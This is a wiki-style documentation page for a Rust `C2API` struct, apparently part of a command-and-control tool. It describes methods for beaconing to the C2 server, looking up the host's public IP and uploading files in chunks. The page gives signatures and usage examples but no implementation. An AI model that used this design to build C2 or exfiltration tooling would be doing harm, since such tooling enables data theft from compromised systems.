API connection

Overview

This code provides a `C2API` struct that encapsulates functionalities related to interacting with a command and control (C2) API. It includes methods for making POST and GET requests, retrieving public IP information, and uploading files to the C2 server.

The code relies on the following dependencies:

```
use reqwest::{
    blocking::multipart::{Form, Part},
    Client, Error, Response,
};
use serde_json::{json, Value};
use std::{
    collections::HashMap,
    fs::File,
    io::{self, Read, Seek},
    str::FromStr,
};
```

Make sure to add these dependencies to your project's `Cargo.toml` file.

Usage

To use this code, create an instance of the `C2API` struct and call its methods. Here's an overview of the available methods:

new

```
pub fn new() -> Self
```

This method creates a new instance of the `C2API` struct and initializes the base URL for the C2 API.

format_response

```
async fn format_response(self, response: Result<Response, Error>) -> HashMap<String, Value>
```

This private method formats the response received from the API into a `HashMap<String, Value>`. It handles success and error cases, returning the response as a `HashMap` for further processing.

post

```
pub async fn post(self, json_body: &Value, uri: &str) -> HashMap<String, Value>
```

This method sends a POST request to the C2 API with the provided JSON body and URI. It returns the response as a `HashMap<String, Value>`.

get_public_ip_info

```
pub async fn get_public_ip_info(self) -> HashMap<String, Value>
```

This method retrieves public IP information by sending a GET request to an external service. It returns the response as a `HashMap<String, Value>`.

upload_file

```
pub fn upload_file(self, file_path: String, user_id: &str) -> Result<(), Box<dyn std::error::Error>>
```

This method uploads a file to the C2 server in chunks using a multipart/form-data request. It takes the file path and user ID as parameters and returns `Ok(())` if the upload is successful or an error if any issues occur.

Limitations

- The code assumes the use of the `reqwest` library for making HTTP requests. Other HTTP libraries are not supported.
- The code relies on specific endpoints and response formats from the C2 API. Modifying the API or using a different API may require adjustments to the code.

Examples

Example usage of the `C2API` struct:

```
let api = C2API::new();

// Example: Send a POST request
let json_body = json!({"name": "John", "age": 30});
let uri = "endpoint";
let response = api.post(&json_body, uri).await;
println!("Response: {:?}", response);

// Example: Retrieve public IP information
let ip_info = api.get_public_ip_info().await;
println!("Public IP info: {:?}", ip_info);

// Example: Upload a file
let file_path = "path/to/file.txt";
let user_id = "user123";
match api.upload_file(file_path.to_string(), user_id) {
    Ok(_) => println!("File upload successful!"),
    Err(err) => println!("File upload failed: {:?}", err),
}
```

Note: Replace the placeholder values with appropriate data for your use case.

Revision #2
Created 3 July 2023 10:24:43 by Makito
Updated 3 July 2023 12:35:08 by Makito